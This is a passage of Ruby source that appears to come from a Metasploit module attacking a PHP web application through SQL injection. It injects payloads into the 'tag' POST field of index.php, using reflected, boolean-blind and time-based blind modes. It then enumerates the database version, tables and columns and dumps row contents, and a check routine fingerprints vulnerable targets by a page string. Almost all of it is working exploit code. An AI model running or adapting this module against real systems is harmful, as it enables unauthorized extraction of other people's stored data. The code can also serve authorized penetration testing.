truncation ? body[0, truncation] : body
end
end
end
unless sqli.test_vulnerable
print_bad("Doesn't seem to be vulnerable")
return
end
perform_sqli(sqli)
end
def time_blind
encoder = datastore['Encoder'].empty? ? nil : datastore['Encoder'].intern
sqli = create_sqli(dbms: SQLitei::TimeBasedBlind, opts: {
encoder: encoder,
hex_encode_strings: datastore['HexEncodeStrings'],
safe: datastore['Safe']
}) do |payload|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' => {
'tag' => "' or #{payload}--",
'search' => 'Check Plan'
}
})
raise ArgumentError unless res
end
unless sqli.test_vulnerable
print_bad("Doesn't seem to be vulnerable")
return
end
perform_sqli(sqli)
end
def perform_sqli(sqli)
print_good "dbms: #{sqli.version}"
tables = sqli.enum_table_names
print_good "tables: #{tables.join(', ')}"
tables.each do |table|
columns = sqli.enum_table_columns(table)
print_good "#{table}(#{columns.join(', ')})"
if datastore['NumRows'] > 0
content = sqli.dump_table_fields(table, columns, '', datastore['NumRows'])
else
content = sqli.dump_table_fields(table, columns)
end
content.each do |row|
print_good "\t" + row.join(', ')
end
end
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
})
if res&.body&.include?('--==[[IndiShell Lab]]==--')
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def run
case datastore['SqliType']
when 0 then reflected
when 1 then boolean_blind
when 2 then time_blind
else print_bad('Unsupported SQLI_TYPE')
end
end
end